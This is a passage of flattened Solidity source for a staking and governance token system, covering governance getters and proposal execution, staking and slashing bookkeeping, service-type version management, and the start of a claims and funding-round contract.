transferGuardianship(address _newGuardianAddress) external { _requireIsInitialized(); require( msg.sender == guardianAddress, "Governance: Only guardian." ); guardianAddress = _newGuardianAddress; emit GuardianshipTransferred(_newGuardianAddress); } // ========================================= Getter Functions ========================================= /** * @notice Get proposal information by proposal Id * @param _proposalId - id of proposal */ function getProposalById(uint256 _proposalId) external view returns ( uint256 proposalId, address proposer, uint256 submissionBlockNumber, bytes32 targetContractRegistryKey, address targetContractAddress, uint256 callValue, string memory functionSignature, bytes memory callData, Outcome outcome, uint256 voteMagnitudeYes, uint256 voteMagnitudeNo, uint256 numVotes ) { _requireIsInitialized(); _requireValidProposalId(_proposalId); Proposal memory proposal = proposals[_proposalId]; return ( proposal.proposalId, proposal.proposer, proposal.submissionBlockNumber, proposal.targetContractRegistryKey, proposal.targetContractAddress, proposal.callValue, proposal.functionSignature, proposal.callData, proposal.outcome, proposal.voteMagnitudeYes, proposal.voteMagnitudeNo, proposal.numVotes /** @notice - votes mapping cannot be returned by external function */ /** @notice - voteMagnitudes mapping cannot be returned by external function */ /** @notice - returning contractHash leads to stack too deep compiler error, see getProposalTargetContractHash() */ ); } /** * @notice Get proposal target contract hash by proposalId * @dev This is a separate function because the getProposalById returns too many variables already and by adding more, you get the error `InternalCompilerError: Stack too deep, try using fewer variables` * @param _proposalId - id of proposal */ function getProposalTargetContractHash(uint256 _proposalId) external view returns (bytes32) { _requireIsInitialized(); _requireValidProposalId(_proposalId); return (proposals[_proposalId].contractHash); } /** * @notice Get vote direction and vote magnitude for a given proposal and voter * @param _proposalId - id of the proposal * @param _voter - address of the voter we want to check * @return returns vote direction and magnitude if valid vote, else default values */ function getVoteInfoByProposalAndVoter(uint256 _proposalId, address _voter) external view returns (Vote vote, uint256 voteMagnitude) { _requireIsInitialized(); _requireValidProposalId(_proposalId); return ( proposals[_proposalId].votes[_voter], proposals[_proposalId].voteMagnitudes[_voter] ); } /// @notice Get the contract Guardian address function getGuardianAddress() external view returns (address) { _requireIsInitialized(); return guardianAddress; } /// @notice Get the Staking address function getStakingAddress() external view returns (address) { _requireIsInitialized(); return stakingAddress; } /// @notice Get the ServiceProviderFactory address function getServiceProviderFactoryAddress() external view returns (address) { _requireIsInitialized(); return serviceProviderFactoryAddress; } /// @notice Get the DelegateManager address function getDelegateManagerAddress() external view returns (address) { _requireIsInitialized(); return delegateManagerAddress; } /// @notice Get the contract voting period function getVotingPeriod() external view returns (uint256) { _requireIsInitialized(); return votingPeriod; } /// @notice Get the contract voting quorum percent function getVotingQuorumPercent() external view returns (uint256) { _requireIsInitialized(); return votingQuorumPercent; } /// @notice Get the registry address function getRegistryAddress() external view returns (address) { _requireIsInitialized(); return address(registry); } /// @notice Used to check if is governance contract before setting governance address in other contracts function isGovernanceAddress() external pure returns (bool) { return true; } /// @notice Get the max number of concurrent InProgress proposals function getMaxInProgressProposals() external view returns (uint16) { _requireIsInitialized(); return maxInProgressProposals; } /// @notice Get the proposal execution delay function getExecutionDelay() external view returns (uint256) { _requireIsInitialized(); return executionDelay; } /// @notice Get the array of all InProgress proposal Ids function getInProgressProposals() external view returns (uint256[] memory) { _requireIsInitialized(); return inProgressProposals; } /** * @notice Returns false if any proposals in inProgressProposals array are evaluatable * Evaluatable = proposals with closed votingPeriod * @dev Is public since its called internally in `submitProposal()` as well as externally in UI */ function inProgressProposalsAreUpToDate() external view returns (bool) { _requireIsInitialized(); // compare current block number against endBlockNumber of each proposal for (uint256 i = 0; i < inProgressProposals.length; i++) { if ( block.number > (proposals[inProgressProposals[i]].submissionBlockNumber).add(votingPeriod).add(executionDelay) ) { return false; } } return true; } // ========================================= Internal Functions ========================================= /** * @notice Execute a transaction attached to a governance proposal * @dev We are aware of both potential re-entrancy issues and the risks associated with low-level solidity * function calls here, but have chosen to keep this code with those issues in mind. All governance * proposals go through a voting process, and all will be reviewed carefully to ensure that they * adhere to the expected behaviors of this call - but adding restrictions here would limit the ability * of the governance system to do required work in a generic way. * @param _targetContractAddress - address of registry proxy contract to execute transaction on * @param _callValue - amount of wei if a token transfer is involved * @param _functionSignature - function signature of the function to be executed if proposal is successful * @param _callData - encoded value(s) to call function with if proposal is successful */ function _executeTransaction( address _targetContractAddress, uint256 _callValue, string memory _functionSignature, bytes memory _callData ) internal returns (bool success, bytes memory returnData) { bytes memory encodedCallData = abi.encodePacked( bytes4(keccak256(bytes(_functionSignature))), _callData ); (success, returnData) = ( // solium-disable-next-line security/no-call-value _targetContractAddress.call.value(_callValue)(encodedCallData) ); return (success, returnData); } function _increaseVoteMagnitudeYes(uint256 _proposalId, uint256 _voterStake) internal { proposals[_proposalId].voteMagnitudeYes = ( proposals[_proposalId].voteMagnitudeYes.add(_voterStake) ); } function _increaseVoteMagnitudeNo(uint256 _proposalId, uint256 _voterStake) internal { proposals[_proposalId].voteMagnitudeNo = ( proposals[_proposalId].voteMagnitudeNo.add(_voterStake) ); } function _decreaseVoteMagnitudeYes(uint256 _proposalId, uint256 _voterStake) internal { proposals[_proposalId].voteMagnitudeYes = ( proposals[_proposalId].voteMagnitudeYes.sub(_voterStake) ); } function _decreaseVoteMagnitudeNo(uint256 _proposalId, uint256 _voterStake) internal { proposals[_proposalId].voteMagnitudeNo = ( proposals[_proposalId].voteMagnitudeNo.sub(_voterStake) ); } /** * @dev Can make O(1) by storing index pointer in proposals mapping. * Requires inProgressProposals to be 1-indexed, since all proposals that are not present * will have pointer set to 0. */ function _removeFromInProgressProposals(uint256 _proposalId) internal { uint256 index = 0; for (uint256 i = 0; i < inProgressProposals.length; i++) { if (inProgressProposals[i] == _proposalId) { index = i; break; } } // Swap proposalId to end of array + pop (deletes last elem + decrements array length) inProgressProposals[index] = inProgressProposals[inProgressProposals.length - 1]; inProgressProposals.pop(); } /** * @notice Returns true if voting quorum percentage met for proposal, else false. * @dev Quorum is met if total voteMagnitude * 100 / total active stake in Staking * @dev Eventual multiplication overflow: * (proposal.voteMagnitudeYes + proposal.voteMagnitudeNo), with 100% staking participation, * can sum to at most the entire token supply of 10^27 * With 7% annual token supply inflation, multiplication can overflow ~1635 years at the earliest: * log(2^256/(10^27*100))/log(1.07) ~= 1635 * * @dev Note that quorum is evaluated based on total staked at proposal submission * not total staked at proposal evaluation, this is expected behavior */ function _quorumMet(Proposal memory proposal, Staking stakingContract) internal view returns (bool) { uint256 participation = ( (proposal.voteMagnitudeYes + proposal.voteMagnitudeNo) .mul(100) .div(stakingContract.totalStakedAt(proposal.submissionBlockNumber)) ); return participation >= votingQuorumPercent; } // ========================================= Private Functions ========================================= function _requireStakingAddressIsSet() private view { require( stakingAddress != address(0x00), "Governance: stakingAddress is not set" ); } function _requireServiceProviderFactoryAddressIsSet() private view { require( serviceProviderFactoryAddress != address(0x00), "Governance: serviceProviderFactoryAddress is not set" ); } function _requireDelegateManagerAddressIsSet() private view { require( delegateManagerAddress != address(0x00), "Governance: delegateManagerAddress is not set" ); } function _requireValidProposalId(uint256 _proposalId) private view { require( _proposalId <= lastProposalId && _proposalId > 0, "Governance: Must provide valid non-zero _proposalId" ); } /** * Calculates and returns active stake for address * * Active stake = (active deployer stake + active delegator stake) * active deployer stake = (direct deployer stake - locked deployer stake) * locked deployer stake = amount of pending decreaseStakeRequest for address * active delegator stake = (total delegator stake - locked delegator stake) * locked delegator stake = amount of pending undelegateRequest for address */ function _calculateAddressActiveStake(address _address) private view returns (uint256) { ServiceProviderFactory spFactory = ServiceProviderFactory(serviceProviderFactoryAddress); DelegateManagerV2 delegateManager = DelegateManagerV2(delegateManagerAddress); // Amount directly staked by address, if any, in ServiceProviderFactory (uint256 directDeployerStake,,,,,) = spFactory.getServiceProviderDetails(_address); // Amount of pending decreasedStakeRequest for address, if any, in ServiceProviderFactory (uint256 lockedDeployerStake,) = spFactory.getPendingDecreaseStakeRequest(_address); // active deployer stake = (direct deployer stake - locked deployer stake) uint256 activeDeployerStake = directDeployerStake.sub(lockedDeployerStake); // Total amount delegated by address, if any, in DelegateManager uint256 totalDelegatorStake = delegateManager.getTotalDelegatorStake(_address); // Amount of pending undelegateRequest for address, if any, in DelegateManager (,uint256 lockedDelegatorStake, ) = delegateManager.getPendingUndelegateRequest(_address); // active delegator stake = (total delegator stake - locked delegator stake) uint256 activeDelegatorStake = totalDelegatorStake.sub(lockedDelegatorStake); // activeStake = (activeDeployerStake + activeDelegatorStake) uint256 activeStake = activeDeployerStake.add(activeDelegatorStake); return activeStake; } // solium-disable security/no-inline-assembly /** * @notice Helper function to generate the code hash for a contract address * @return contract code hash */ function _getCodeHash(address _contract) private view returns (bytes32) { bytes32 contractHash; assembly { contractHash := extcodehash(_contract) } return contractHash; } } // File: contracts/Staking.sol pragma solidity ^0.5.0; contract Staking is InitializableV2 { using SafeMath for uint256; using Uint256Helpers for uint256; using Checkpointing for Checkpointing.History; using SafeERC20 for ERC20; string private constant ERROR_TOKEN_NOT_CONTRACT = "Staking: Staking token is not a contract"; string private constant ERROR_AMOUNT_ZERO = "Staking: Zero amount not allowed"; string private constant ERROR_ONLY_GOVERNANCE = "Staking: Only governance"; string private constant ERROR_ONLY_DELEGATE_MANAGER = ( "Staking: Only callable from DelegateManager" ); string private constant ERROR_ONLY_SERVICE_PROVIDER_FACTORY = ( "Staking: Only callable from ServiceProviderFactory" ); address private governanceAddress; address private claimsManagerAddress; address private delegateManagerAddress; address private serviceProviderFactoryAddress; /// @dev stores the history of staking and claims for a given address struct Account { Checkpointing.History stakedHistory; Checkpointing.History claimHistory; } /// @dev ERC-20 token that will be used to stake with ERC20 internal stakingToken; /// @dev maps addresses to staking and claims history mapping (address => Account) internal accounts; /// @dev total staked tokens at a given block Checkpointing.History internal totalStakedHistory; event Staked(address indexed user, uint256 amount, uint256 total); event Unstaked(address indexed user, uint256 amount, uint256 total); event Slashed(address indexed user, uint256 amount, uint256 total); /** * @notice Function to initialize the contract * @dev claimsManagerAddress must be initialized separately after ClaimsManager contract is deployed * @dev delegateManagerAddress must be initialized separately after DelegateManager contract is deployed * @dev serviceProviderFactoryAddress must be initialized separately after ServiceProviderFactory contract is deployed * @param _tokenAddress - address of ERC20 token that will be staked * @param _governanceAddress - address for Governance proxy contract */ function initialize( address _tokenAddress, address _governanceAddress ) public initializer { require(Address.isContract(_tokenAddress), ERROR_TOKEN_NOT_CONTRACT); stakingToken = ERC20(_tokenAddress); _updateGovernanceAddress(_governanceAddress); InitializableV2.initialize(); } /** * @notice Set the Governance address * @dev Only callable by Governance address * @param _governanceAddress - address for new Governance contract */ function setGovernanceAddress(address _governanceAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); _updateGovernanceAddress(_governanceAddress); } /** * @notice Set the ClaimsManaager address * @dev Only callable by Governance address * @param _claimsManager - address for new ClaimsManaager contract */ function setClaimsManagerAddress(address _claimsManager) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); claimsManagerAddress = _claimsManager; } /** * @notice Set the ServiceProviderFactory address * @dev Only callable by Governance address * @param _spFactory - address for new ServiceProviderFactory contract */ function setServiceProviderFactoryAddress(address _spFactory) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); serviceProviderFactoryAddress = _spFactory; } /** * @notice Set the DelegateManager address * @dev Only callable by Governance address * @param _delegateManager - address for new DelegateManager contract */ function setDelegateManagerAddress(address _delegateManager) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); delegateManagerAddress = _delegateManager; } /* External functions */ /** * @notice Funds `_amount` of tokens from ClaimsManager to target account * @param _amount - amount of rewards to add to stake * @param _stakerAccount - address of staker */ function stakeRewards(uint256 _amount, address _stakerAccount) external { _requireIsInitialized(); _requireClaimsManagerAddressIsSet(); require( msg.sender == claimsManagerAddress, "Staking: Only callable from ClaimsManager" ); _stakeFor(_stakerAccount, msg.sender, _amount); this.updateClaimHistory(_amount, _stakerAccount); } /** * @notice Update claim history by adding an event to the claim history * @param _amount - amount to add to claim history * @param _stakerAccount - address of staker */ function updateClaimHistory(uint256 _amount, address _stakerAccount) external { _requireIsInitialized(); _requireClaimsManagerAddressIsSet(); require( msg.sender == claimsManagerAddress || msg.sender == address(this), "Staking: Only callable from ClaimsManager or Staking.sol" ); // Update claim history even if no value claimed accounts[_stakerAccount].claimHistory.add(block.number.toUint64(), _amount); } /** * @notice Slashes `_amount` tokens from _slashAddress * @dev Callable from DelegateManager * @param _amount - Number of tokens slashed * @param _slashAddress - Address being slashed */ function slash( uint256 _amount, address _slashAddress ) external { _requireIsInitialized(); _requireDelegateManagerAddressIsSet(); require( msg.sender == delegateManagerAddress, ERROR_ONLY_DELEGATE_MANAGER ); // Burn slashed tokens from account _burnFor(_slashAddress, _amount); emit Slashed( _slashAddress, _amount, totalStakedFor(_slashAddress) ); } /** * @notice Stakes `_amount` tokens, transferring them from _accountAddress, and assigns them to `_accountAddress` * @param _accountAddress - The final staker of the tokens * @param _amount - Number of tokens staked */ function stakeFor( address _accountAddress, uint256 _amount ) external { _requireIsInitialized(); _requireServiceProviderFactoryAddressIsSet(); require( msg.sender == serviceProviderFactoryAddress, ERROR_ONLY_SERVICE_PROVIDER_FACTORY ); _stakeFor( _accountAddress, _accountAddress, _amount ); } /** * @notice Unstakes `_amount` tokens, returning them to the desired account. * @param _accountAddress - Account unstaked for, and token recipient * @param _amount - Number of tokens staked */ function unstakeFor( address _accountAddress, uint256 _amount ) external { _requireIsInitialized(); _requireServiceProviderFactoryAddressIsSet(); require( msg.sender == serviceProviderFactoryAddress, ERROR_ONLY_SERVICE_PROVIDER_FACTORY ); _unstakeFor( _accountAddress, _accountAddress, _amount ); } /** * @notice Stakes `_amount` tokens, transferring them from `_delegatorAddress` to `_accountAddress`, only callable by DelegateManager * @param _accountAddress - The final staker of the tokens * @param _delegatorAddress - Address from which to transfer tokens * @param _amount - Number of tokens staked */ function delegateStakeFor( address _accountAddress, address _delegatorAddress, uint256 _amount ) external { _requireIsInitialized(); _requireDelegateManagerAddressIsSet(); require( msg.sender == delegateManagerAddress, ERROR_ONLY_DELEGATE_MANAGER ); _stakeFor( _accountAddress, _delegatorAddress, _amount); } /** * @notice Unstakes '_amount` tokens, transferring them from `_accountAddress` to `_delegatorAddress`, only callable by DelegateManager * @param _accountAddress - The staker of the tokens * @param _delegatorAddress - Address from which to transfer tokens * @param _amount - Number of tokens unstaked */ function undelegateStakeFor( address _accountAddress, address _delegatorAddress, uint256 _amount ) external { _requireIsInitialized(); _requireDelegateManagerAddressIsSet(); require( msg.sender == delegateManagerAddress, ERROR_ONLY_DELEGATE_MANAGER ); _unstakeFor( _accountAddress, _delegatorAddress, _amount); } /** * @notice Get the token used by the contract for staking and locking * @return The token used by the contract for staking and locking */ function token() external view returns (address) { _requireIsInitialized(); return address(stakingToken); } /** * @notice Check whether it supports history of stakes * @return Always true */ function supportsHistory() external view returns (bool) { _requireIsInitialized(); return true; } /** * @notice Get last time `_accountAddress` modified its staked balance * @param _accountAddress - Account requesting for * @return Last block number when account's balance was modified */ function lastStakedFor(address _accountAddress) external view returns (uint256) { _requireIsInitialized(); uint256 length = accounts[_accountAddress].stakedHistory.history.length; if (length > 0) { return uint256(accounts[_accountAddress].stakedHistory.history[length - 1].time); } return 0; } /** * @notice Get last time `_accountAddress` claimed a staking reward * @param _accountAddress - Account requesting for * @return Last block number when claim requested */ function lastClaimedFor(address _accountAddress) external view returns (uint256) { _requireIsInitialized(); uint256 length = accounts[_accountAddress].claimHistory.history.length; if (length > 0) { return uint256(accounts[_accountAddress].claimHistory.history[length - 1].time); } return 0; } /** * @notice Get the total amount of tokens staked by `_accountAddress` at block number `_blockNumber` * @param _accountAddress - Account requesting for * @param _blockNumber - Block number at which we are requesting * @return The amount of tokens staked by the account at the given block number */ function totalStakedForAt( address _accountAddress, uint256 _blockNumber ) external view returns (uint256) { _requireIsInitialized(); return accounts[_accountAddress].stakedHistory.get(_blockNumber.toUint64()); } /** * @notice Get the total amount of tokens staked by all users at block number `_blockNumber` * @param _blockNumber - Block number at which we are requesting * @return The amount of tokens staked at the given block number */ function totalStakedAt(uint256 _blockNumber) external view returns (uint256) { _requireIsInitialized(); return totalStakedHistory.get(_blockNumber.toUint64()); } /// @notice Get the Governance address function getGovernanceAddress() external view returns (address) { _requireIsInitialized(); return governanceAddress; } /// @notice Get the ClaimsManager address function getClaimsManagerAddress() external view returns (address) { _requireIsInitialized(); return claimsManagerAddress; } /// @notice Get the ServiceProviderFactory address function getServiceProviderFactoryAddress() external view returns (address) { _requireIsInitialized(); return serviceProviderFactoryAddress; } /// @notice Get the DelegateManager address function getDelegateManagerAddress() external view returns (address) { _requireIsInitialized(); return delegateManagerAddress; } /** * @notice Helper function wrapped around totalStakedFor. Checks whether _accountAddress is currently a valid staker with a non-zero stake * @param _accountAddress - Account requesting for * @return Boolean indicating whether account is a staker */ function isStaker(address _accountAddress) external view returns (bool) { _requireIsInitialized(); return totalStakedFor(_accountAddress) > 0; } /* Public functions */ /** * @notice Get the amount of tokens staked by `_accountAddress` * @param _accountAddress - The owner of the tokens * @return The amount of tokens staked by the given account */ function totalStakedFor(address _accountAddress) public view returns (uint256) { _requireIsInitialized(); // we assume it's not possible to stake in the future return accounts[_accountAddress].stakedHistory.getLast(); } /** * @notice Get the total amount of tokens staked by all users * @return The total amount of tokens staked by all users */ function totalStaked() public view returns (uint256) { _requireIsInitialized(); // we assume it's not possible to stake in the future return totalStakedHistory.getLast(); } // ========================================= Internal Functions ========================================= /** * @notice Adds stake from a transfer account to the stake account * @param _stakeAccount - Account that funds will be staked for * @param _transferAccount - Account that funds will be transferred from * @param _amount - amount to stake */ function _stakeFor( address _stakeAccount, address _transferAccount, uint256 _amount ) internal { // staking 0 tokens is invalid require(_amount > 0, ERROR_AMOUNT_ZERO); // Checkpoint updated staking balance _modifyStakeBalance(_stakeAccount, _amount, true); // checkpoint total supply _modifyTotalStaked(_amount, true); // pull tokens into Staking contract stakingToken.safeTransferFrom(_transferAccount, address(this), _amount); emit Staked( _stakeAccount, _amount, totalStakedFor(_stakeAccount)); } /** * @notice Unstakes tokens from a stake account to a transfer account * @param _stakeAccount - Account that staked funds will be transferred from * @param _transferAccount - Account that funds will be transferred to * @param _amount - amount to unstake */ function _unstakeFor( address _stakeAccount, address _transferAccount, uint256 _amount ) internal { require(_amount > 0, ERROR_AMOUNT_ZERO); // checkpoint updated staking balance _modifyStakeBalance(_stakeAccount, _amount, false); // checkpoint total supply _modifyTotalStaked(_amount, false); // transfer tokens stakingToken.safeTransfer(_transferAccount, _amount); emit Unstaked( _stakeAccount, _amount, totalStakedFor(_stakeAccount) ); } /** * @notice Burn tokens for a given staker * @dev Called when slash occurs * @param _stakeAccount - Account for which funds will be burned * @param _amount - amount to burn */ function _burnFor(address _stakeAccount, uint256 _amount) internal { // burning zero tokens is not allowed require(_amount > 0, ERROR_AMOUNT_ZERO); // checkpoint updated staking balance _modifyStakeBalance(_stakeAccount, _amount, false); // checkpoint total supply _modifyTotalStaked(_amount, false); // burn ERC20Burnable(address(stakingToken)).burn(_amount); /** No event emitted since token.burn() call already emits a Transfer event */ } /** * @notice Increase or decrease the staked balance for an account * @param _accountAddress - Account to modify * @param _by - amount to modify * @param _increase - true if increase in stake, false if decrease */ function _modifyStakeBalance(address _accountAddress, uint256 _by, bool _increase) internal { uint256 currentInternalStake = accounts[_accountAddress].stakedHistory.getLast(); uint256 newStake; if (_increase) { newStake = currentInternalStake.add(_by); } else { require( currentInternalStake >= _by, "Staking: Cannot decrease greater than current balance"); newStake = currentInternalStake.sub(_by); } // add new value to account history accounts[_accountAddress].stakedHistory.add(block.number.toUint64(), newStake); } /** * @notice Increase or decrease the staked balance across all accounts * @param _by - amount to modify * @param _increase - true if increase in stake, false if decrease */ function _modifyTotalStaked(uint256 _by, bool _increase) internal { uint256 currentStake = totalStaked(); uint256 newStake; if (_increase) { newStake = currentStake.add(_by); } else { newStake = currentStake.sub(_by); } // add new value to total history totalStakedHistory.add(block.number.toUint64(), newStake); } /** * @notice Set the governance address after confirming contract identity * @param _governanceAddress - Incoming governance address */ function _updateGovernanceAddress(address _governanceAddress) internal { require( Governance(_governanceAddress).isGovernanceAddress() == true, "Staking: _governanceAddress is not a valid governance contract" ); governanceAddress = _governanceAddress; } // ========================================= Private Functions ========================================= function _requireClaimsManagerAddressIsSet() private view { require(claimsManagerAddress != address(0x00), "Staking: claimsManagerAddress is not set"); } function _requireDelegateManagerAddressIsSet() private view { require( delegateManagerAddress != address(0x00), "Staking: delegateManagerAddress is not set" ); } function _requireServiceProviderFactoryAddressIsSet() private view { require( serviceProviderFactoryAddress != address(0x00), "Staking: serviceProviderFactoryAddress is not set" ); } } // File: contracts/ServiceTypeManager.sol pragma solidity ^0.5.0; contract ServiceTypeManager is InitializableV2 { address governanceAddress; string private constant ERROR_ONLY_GOVERNANCE = ( "ServiceTypeManager: Only callable by Governance contract" ); /** * @dev - mapping of serviceType - serviceTypeVersion * Example - "discovery-provider" - ["0.0.1", "0.0.2", ..., "currentVersion"] */ mapping(bytes32 => bytes32[]) private serviceTypeVersions; /** * @dev - mapping of serviceType - < serviceTypeVersion, isValid > * Example - "discovery-provider" - <"0.0.1", true> */ mapping(bytes32 => mapping(bytes32 => bool)) private serviceTypeVersionInfo; /// @dev List of valid service types bytes32[] private validServiceTypes; /// @dev Struct representing service type info struct ServiceTypeInfo { bool isValid; uint256 minStake; uint256 maxStake; } /// @dev mapping of service type info mapping(bytes32 => ServiceTypeInfo) private serviceTypeInfo; event SetServiceVersion( bytes32 indexed _serviceType, bytes32 indexed _serviceVersion ); event ServiceTypeAdded( bytes32 indexed _serviceType, uint256 indexed _serviceTypeMin, uint256 indexed _serviceTypeMax ); event ServiceTypeRemoved(bytes32 indexed _serviceType); /** * @notice Function to initialize the contract * @param _governanceAddress - Governance proxy address */ function initialize(address _governanceAddress) public initializer { _updateGovernanceAddress(_governanceAddress); InitializableV2.initialize(); } /// @notice Get the Governance address function getGovernanceAddress() external view returns (address) { _requireIsInitialized(); return governanceAddress; } /** * @notice Set the Governance address * @dev Only callable by Governance address * @param _governanceAddress - address for new Governance contract */ function setGovernanceAddress(address _governanceAddress) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); _updateGovernanceAddress(_governanceAddress); } // ========================================= Service Type Logic ========================================= /** * @notice Add a new service type * @param _serviceType - type of service to add * @param _serviceTypeMin - minimum stake for service type * @param _serviceTypeMax - maximum stake for service type */ function addServiceType( bytes32 _serviceType, uint256 _serviceTypeMin, uint256 _serviceTypeMax ) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); require( !this.serviceTypeIsValid(_serviceType), "ServiceTypeManager: Already known service type" ); require( _serviceTypeMax > _serviceTypeMin, "ServiceTypeManager: Max stake must be non-zero and greater than min stake" ); // Ensure serviceType cannot be re-added if it previously existed and was removed // stored maxStake > 0 means it was previously added and removed require( serviceTypeInfo[_serviceType].maxStake == 0, "ServiceTypeManager: Cannot re-add serviceType after it was removed." ); validServiceTypes.push(_serviceType); serviceTypeInfo[_serviceType] = ServiceTypeInfo({ isValid: true, minStake: _serviceTypeMin, maxStake: _serviceTypeMax }); emit ServiceTypeAdded(_serviceType, _serviceTypeMin, _serviceTypeMax); } /** * @notice Remove an existing service type * @param _serviceType - name of service type to remove */ function removeServiceType(bytes32 _serviceType) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); uint256 serviceIndex = 0; bool foundService = false; for (uint256 i = 0; i < validServiceTypes.length; i ++) { if (validServiceTypes[i] == _serviceType) { serviceIndex = i; foundService = true; break; } } require(foundService == true, "ServiceTypeManager: Invalid service type, not found"); // Overwrite service index uint256 lastIndex = validServiceTypes.length - 1; validServiceTypes[serviceIndex] = validServiceTypes[lastIndex]; validServiceTypes.length--; // Mark as invalid serviceTypeInfo[_serviceType].isValid = false; // Note - stake bounds are not reset so they can be checked to prevent serviceType from being re-added emit ServiceTypeRemoved(_serviceType); } /** * @notice Get isValid, min and max stake for a given service type * @param _serviceType - type of service * @return isValid, min and max stake for type */ function getServiceTypeInfo(bytes32 _serviceType) external view returns (bool isValid, uint256 minStake, uint256 maxStake) { _requireIsInitialized(); return ( serviceTypeInfo[_serviceType].isValid, serviceTypeInfo[_serviceType].minStake, serviceTypeInfo[_serviceType].maxStake ); } /** * @notice Get list of valid service types */ function getValidServiceTypes() external view returns (bytes32[] memory) { _requireIsInitialized(); return validServiceTypes; } /** * @notice Return indicating whether this is a valid service type */ function serviceTypeIsValid(bytes32 _serviceType) external view returns (bool) { _requireIsInitialized(); return serviceTypeInfo[_serviceType].isValid; } // ========================================= Service Version Logic ========================================= /** * @notice Add new version for a serviceType * @param _serviceType - type of service * @param _serviceVersion - new version of service to add */ function setServiceVersion( bytes32 _serviceType, bytes32 _serviceVersion ) external { _requireIsInitialized(); require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE); require(this.serviceTypeIsValid(_serviceType), "ServiceTypeManager: Invalid service type"); require( serviceTypeVersionInfo[_serviceType][_serviceVersion] == false, "ServiceTypeManager: Already registered" ); // Update array of known versions for type serviceTypeVersions[_serviceType].push(_serviceVersion); // Update status for this specific service version serviceTypeVersionInfo[_serviceType][_serviceVersion] = true; emit SetServiceVersion(_serviceType, _serviceVersion); } /** * @notice Get a version for a service type given it's index * @param _serviceType - type of service * @param _versionIndex - index in list of service versions * @return bytes32 value for serviceVersion */ function getVersion(bytes32 _serviceType, uint256 _versionIndex) external view returns (bytes32) { _requireIsInitialized(); require( serviceTypeVersions[_serviceType].length > _versionIndex, "ServiceTypeManager: No registered version of serviceType" ); return (serviceTypeVersions[_serviceType][_versionIndex]); } /** * @notice Get curent version for a service type * @param _serviceType - type of service * @return Returns current version of service */ function getCurrentVersion(bytes32 _serviceType) external view returns (bytes32) { _requireIsInitialized(); require( serviceTypeVersions[_serviceType].length >= 1, "ServiceTypeManager: No registered version of serviceType" ); uint256 latestVersionIndex = serviceTypeVersions[_serviceType].length - 1; return (serviceTypeVersions[_serviceType][latestVersionIndex]); } /** * @notice Get total number of versions for a service type * @param _serviceType - type of service */ function getNumberOfVersions(bytes32 _serviceType) external view returns (uint256) { _requireIsInitialized(); return serviceTypeVersions[_serviceType].length; } /** * @notice Return boolean indicating whether given version is valid for given type * @param _serviceType - type of service * @param _serviceVersion - version of service to check */ function serviceVersionIsValid(bytes32 _serviceType, bytes32 _serviceVersion) external view returns (bool) { _requireIsInitialized(); return serviceTypeVersionInfo[_serviceType][_serviceVersion]; } /** * @notice Set the governance address after confirming contract identity * @param _governanceAddress - Incoming governance address */ function _updateGovernanceAddress(address _governanceAddress) internal { require( Governance(_governanceAddress).isGovernanceAddress() == true, "ServiceTypeManager: _governanceAddress is not a valid governance contract" ); governanceAddress = _governanceAddress; } } // File: contracts/ClaimsManager.sol pragma solidity ^0.5.0; /// @notice ERC20 imported via Staking.sol /// @notice SafeERC20 imported via Staking.sol /// @notice Governance imported via Staking.sol /// @notice SafeMath imported via ServiceProviderFactory.sol /** * Designed to automate claim funding, minting tokens as necessary * @notice - will call InitializableV2 constructor */ contract ClaimsManager is InitializableV2 { using SafeMath for uint256; using SafeERC20 for ERC20; string private constant ERROR_ONLY_GOVERNANCE = ( "ClaimsManager: Only callable by Governance contract" ); address private governanceAddress; address private stakingAddress; address private serviceProviderFactoryAddress; address private delegateManagerAddress; /** * @notice - Minimum number of blocks between funding rounds * 604800 seconds / week * Avg block time - 13s * 604800 / 13 = 46523.0769231 blocks */ uint256 private fundingRoundBlockDiff; /** * @notice - Configures the current funding amount per round * Weekly rounds, 7% PA inflation = 70,000,000 new tokens in first year * = 70,000,000/365*7 (year is slightly more than a week) * = 1342465.75342 new AUDS per week * = 1342465753420000000000000 new wei units per week * @dev - Past a certain block height, this schedule will be updated * - Logic determining schedule will be sourced from an external contract */ uint256 private fundingAmount; // Denotes current round uint256 private roundNumber; // Staking contract ref ERC20Mintable private audiusToken; /// @dev - Address to which recurringCommunityFundingAmount is transferred at funding round start address private communityPoolAddress; /// @dev - Reward amount transferred to communityPoolAddress at funding round start uint256 private recurringCommunityFundingAmount; // Struct representing round state // 1) Block at which round was funded // 2) Total funded for this round // 3) Total claimed in round struct Round { uint256 fundedBlock; uint256 fundedAmount; uint256 totalClaimedInRound; } // Current round information Round private currentRound; event RoundInitiated( uint256 indexed _blockNumber, uint256 indexed _roundNumber, uint256 indexed _fundAmount ); event ClaimProcessed( address indexed _claimer, uint256 indexed _rewards, uint256 _oldTotal, uint256 indexed _newTotal ); event CommunityRewardsTransferred( address indexed _transferAddress, uint256 indexed _amount ); event FundingAmountUpdated(uint256 indexed _amount); event FundingRoundBlockDiffUpdated(uint256 indexed _blockDifference); event GovernanceAddressUpdated(address indexed _newGovernanceAddress); event StakingAddressUpdated(address indexed _newStakingAddress); event ServiceProviderFactoryAddressUpdated(address indexed _newServiceProviderFactoryAddress); event DelegateManagerAddressUpdated(address indexed _newDelegateManagerAddress); event RecurringCommunityFundingAmountUpdated(uint256 indexed _amount); event CommunityPoolAddressUpdated(address indexed _newCommunityPoolAddress); /** * @notice Function to initialize the contract * @dev stakingAddress must be initialized separately after Staking contract is deployed * @dev serviceProviderFactoryAddress must be initialized separately after ServiceProviderFactory contract is deployed * @dev delegateManagerAddress must be initialized separately after DelegateManager contract is deployed * @param _tokenAddress - address of ERC20 token that will be claimed * @param _governanceAddress - address for Governance proxy contract */ function initialize( address _tokenAddress, address _governanceAddress ) public initializer { _updateGovernanceAddress(_governanceAddress); audiusToken = ERC20Mintable(_tokenAddress); fundingRoundBlockDiff = 46523; fundingAmount = 1342465753420000000000000; // 